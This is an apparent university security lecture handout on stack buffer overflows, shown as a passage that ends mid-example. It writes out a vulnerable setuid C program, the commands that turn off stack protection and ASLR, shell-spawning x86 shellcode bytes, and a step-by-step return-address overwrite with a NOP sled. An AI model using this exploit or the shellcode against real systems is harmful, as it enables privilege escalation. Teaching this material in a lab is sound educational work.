Lecture 18: Buffer Overflows 1 a Program to Exploit
Total Page:16
File Type:pdf, Size:1020Kb
CS342 Computer Security Handout # 21 Prof. Lyn Turbak April 4, 2016 Wellesley College Lecture 18: Buffer Overflows Sources Jon Erickson, Hacking: The Art of Exploitation, Chapter 0x300. Aleph One, \Smashing the Stack for Fun and Profit” (can be found at http://cs.wellesley.edu/ ~cs342/papers/stack-smashing.pdf). 1 A Program to Exploit We begin with a simple program to exploit: /* Contents of ~cs342/download/overflow/vuln.c */ #include <stdio.h> // Header file that includes the type of printf #include <string.h> // Header file that include the type of strcpy int main (int argn, char** argv) { char buffer[100]; int i; long *addr_ptr; // a "long" is guaranteed to be a four-byte word strcpy(buffer, argv[1]); /* copies chars of argv[1] to buffer w/o bounds checking */ addr_ptr = (long *) buffer; for (i = 0; i < 35; i++) { printf("%02i:%08x:%08x\n", /* %08x displays 8 hex chars */ i, (unsigned int) addr_ptr, (unsigned int) *addr_ptr); addr_ptr++; } } The statement strcpy(buffer, argv[1]); copies the characters in argv[1] to buffer without any sort of bounds checking. So if there are more than 100 characters, it will start overwriting the stack after the end of the space allocated for buffer. The program also displays 35 words of memory starting with buffer = buffer[0]. Of course, a program wouldn't normally do this, but we include it to help us understand the exploit. We compile vuln.c as user lynux and make it setuid to make things interesting: lynux@cs342-ubuntu-1:~/overflow\$ gcc -o vuln -fno-stack-protector -z execstack vuln.c lynux@cs342-ubuntu-1:~/overflow\$ chmod 4755 vuln The gcc compilation flags -fno-stack-protector and -z execstack disable protections that would otherwise guard against the stack buffer overflow attacks we will be launching against vuln. Later, we'll see what these do. We also disable address space layout randomization (ASLR) to make things easier for the attacker. lynux@cs342-ubuntu-1:~/overflow\$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 With ASLR turned off, the stack addresses in our vuln examples will always be the same every time we run them. This gives our examples a repeatability we did not have in our format string vulnerability experiments. This makes the buffer overflow attacks easier to understand and launch. We'll discuss ASLR more below. 1 Now let's execute vuln as a different user (guest). If we enter up to 100 characters everything works just fine: guest@cs342-ubuntu-1:~\$ ls -al ~lynux/overflow/vuln -rwsr-xr-x 1 lynux lynux 7198 Nov 20 07:38 /home/lynux/overflow/vuln guest@cs342-ubuntu-1:~\$ ~lynux/overflow/vuln aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmm nnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyy 00:bffffb04:61616161 01:bffffb08:62626262 ... 23:bffffb60:78787878 24:bffffb64:79797979 25:bffffb68:bffffb68 26:bffffb6c:0000001a 27:bffffb70:08048490 28:bffffb74:00000000 29:bffffb78:00000000 30:bffffb7c:b7e3f4d3 31:bffffb80:00000002 32:bffffb84:bffffc14 33:bffffb88:bffffc20 34:bffffb8c:b7fdc858 What's in slot 25? Slot 26? Slots 31-33? In fact, things will work just fine even if we go a bit beyond 100 characters. How many characters can we write without causing things to go haywire? (Hint: where is the bottom of the frame for main?) guest@cs342-ubuntu-1:~\$ ~lynux/overflow/vuln aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmm nnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAABBBBCCCCDDD 00:bffffae4:61616161 01:bffffae8:62626262 ... 23:bffffb40:78787878 24:bffffb44:79797979 25:bffffb48:bffffb48 26:bffffb4c:0000001a 27:bffffb50:42424242 28:bffffb54:43434343 29:bffffb58:00444444 30:bffffb5c:b7e3f4d3 31:bffffb60:00000002 32:bffffb64:bffffbf4 33:bffffb68:bffffc00 34:bffffb6c:b7fdc858 Why aren't slots 25 and 26 overwritten with the characters zzzz and AAAA, respectively? Note that changing the input string has caused the address of buffer to change from bffffb04 to bffffae4. Presumably this is because the longer string requires more information to be pushed on the stack initially. Adding just a few more characters causes things to go haywire. Why? guest@cs342-ubuntu-1:~\$ ~lynux/overflow/vuln aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmm nnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAABBBBCCCCDDDD 00:bffffae4:61616161 ... 29:bffffb58:44444444 30:bffffb5c:b7e3f400 31:bffffb60:00000002 32:bffffb64:bffffbf4 33:bffffb68:bffffc00 34:bffffb6c:b7fdc858 2 Illegal instruction guest@cs342-ubuntu-1:~\$ ~lynux/overflow/vuln aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmm nnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAABBBBCCCCDDDDE 00:bffffae4:61616161 ... 29:bffffb58:44444444 30:bffffb5c:b7e30045 31:bffffb60:00000002 32:bffffb64:bffffbf4 33:bffffb68:bffffc00 34:bffffb6c:b7fdc858 Segmentation fault 2 Perl Review Next, let's review how to use Perl to print strings, including replicated strings and strings with characters specified in hex: guest@cs342-ubuntu-1:~\$ perl -e 'print "ABC"x10;' ABCABCABCABCABCABCABCABCABCABCguest@cs342-ubuntu-1:~\$ guest@cs342-ubuntu-1:~\$ perl -e 'print "ABC"x10 . "DEF"x2 . "\n";' ABCABCABCABCABCABCABCABCABCABCDEFDEF guest@cs342-ubuntu-1:~\$ perl -e 'print "\x61\x62\x63\x64"x4 . "\n";' abcdabcdabcdabcd guest@cs342-ubuntu-1:~\$ perl -e 'print "\x41\x42\x43\x44"x5 . "\n";' ABCDABCDABCDABCDABCD We can use Perl to create a file contain a carefully constructed sequence of bytes known as \shellcode". This byte sequence (which we explain in detail later) is Intel x86 instructions that, when executed, will spawn a shell for user linux. But for now, we treat it as data | just a raw byte sequence: guest@cs342-ubuntu-1:~\$ perl -e 'print "\x31\xc0\xb0\x46\x31\xdb\x66\xbb\x03\x0e\x89\xd9 \xcd\x80\xeb\x15\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b\x08\x89\xc2\xb0 \x0b\xcd\x80\xe8\xe6\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";' > shellcode guest@cs342-ubuntu-1:~\$ wc shellcode 0 3 49 shellcode In the Linux shell, text between a pair of backquotes (grave accents) is treated as a command that is executed, and the text it produces is substituted for the backquoted expression. guest@cs342-ubuntu-1:~\$ echo "wc" > stuff guest@cs342-ubuntu-1:~\$ echo `cat stuff` wc guest@cs342-ubuntu-1:~\$ echo `cat stuff``cat stuff``cat stuff` wcwcwc guest@cs342-ubuntu-1:~\$ `cat stuff` stuff 1 1 3 stuff 3 guest@cs342-ubuntu-1:~\$ `cat stuff` `cat stuff` wc: wc: No such file or directory guest@cs342-ubuntu-1:~\$ `cat stuff` shellcode 0 3 49 shellcode For example, we can use backquotes to inject shellcode onto the stack by passing it as an argument to vuln: guest@cs342-ubuntu-1:~\$ ~lynux/overflow/vuln `cat shellcode` 00:bffffb34:46b0c031 01:bffffb38:bb66db31 02:bffffb3c:d9890e03 03:bffffb40:15eb80cd 04:bffffb44:88c0315b 05:bffffb48:5b890743 06:bffffb4c:0c438908 07:bffffb50:89084b8d 08:bffffb54:cd0bb0c2 09:bffffb58:ffe6e880 10:bffffb5c:622fffff 11:bffffb60:732f6e69 12:bffffb64:08040068 ... 25:bffffb98:bffffb98 26:bffffb9c:0000001a 27:bffffba0:08048490 28:bffffba4:00000000 29:bffffba8:00000000 30:bffffbac:b7e3f4d3 31:bffffbb0:00000002 32:bffffbb4:bffffc44 33:bffffbb8:bffffc50 34:bffffbbc:b7fdc858 3 Overflow Exploit: Going for the Kill All we have to do now is fill the buffer after the shellcode with enough copies of the shellcode address that we overwrite the return address at location bffffbac with a pointer to the first byte of the injected shellcode at bffffb34: guest@cs342-ubuntu-1:~\$ ~lynux/overflow/vuln `cat shellcode``perl -e 'print "\x34\xfb\xff\xbf"x20;'` 00:bffffae4:46b0c031 01:bffffae8:bb66db31 02:bffffaec:d9890e03 03:bffffaf0:15eb80cd 04:bffffaf4:88c0315b 05:bffffaf8:5b890743 06:bffffafc:0c438908 07:bffffb00:89084b8d 08:bffffb04:cd0bb0c2 09:bffffb08:ffe6e880 10:bffffb0c:622fffff 11:bffffb10:732f6e69 12:bffffb14:fffb3468 13:bffffb18:fffb34bf 14:bffffb1c:fffb34bf ... 30:bffffb5c:fffb34bf 31:bffffb60:fffb34bf 4 32:bffffb64:bfff00bf 33:bffffb68:bffffc00 34:bffffb6c:b7fdc858 Segmentation fault Oops! The shellcode address was not word aligned, and needs to be. We can fix this by adding 3 arbitrary characters after the shellcode to pad its 49 bytes to 52 bytes. Also, we must change the shellcode address, which has moved again (it's now at bffffae4). guest@cs342-ubuntu-1:~\$ ~lynux/overflow/vuln `cat shellcode``perl -e 'print "\x01"x3 . "\xe4\xfa\xff\xbf"x20;'` 00:bffffae4:46b0c031 01:bffffae8:bb66db31 02:bffffaec:d9890e03 03:bffffaf0:15eb80cd 04:bffffaf4:88c0315b 05:bffffaf8:5b890743 06:bffffafc:0c438908 07:bffffb00:89084b8d 08:bffffb04:cd0bb0c2 09:bffffb08:ffe6e880 10:bffffb0c:622fffff 11:bffffb10:732f6e69 12:bffffb14:01010168 13:bffffb18:bffffae4 ... 24:bffffb44:bffffae4 25:bffffb48:bffffb48 26:bffffb4c:0000001a 27:bffffb50:bffffae4 28:bffffb54:bffffae4 29:bffffb58:bffffae4 30:bffffb5c:bffffae4 31:bffffb60:bffffae4 32:bffffb64:bffffae4 33:bffffb68:bffffc00 34:bffffb6c:b7fdc858 $ whoami lynux Qapla'! 5 4 An Overflow Exploit: NOP Sleds In the above exploit, we had to determine the shellcode address exactly, which is generally hard, especially if ASLR is turned on. It's more flexible to put a long sequence of NOP instructions (nx90) before the shellcode, known as a NOP sled. Any address in the NOP sled will end up sliding into the shellcode: guest@cs342-ubuntu-1:~\$ ~lynux/overflow/vuln `perl -e 'print "\x90"x20;'``cat shellcode` `perl -e 'print "\x01"x3 . "\xcc\xfa\xff\xbf"x20;'` 00:bffffac4:90909090 01:bffffac8:90909090 02:bffffacc:90909090 03:bffffad0:90909090 04:bffffad4:90909090 05:bffffad8:46b0c031 06:bffffadc:bb66db31 07:bffffae0:d9890e03 08:bffffae4:15eb80cd 09:bffffae8:88c0315b 10:bffffaec:5b890743 11:bffffaf0:0c438908 12:bffffaf4:89084b8d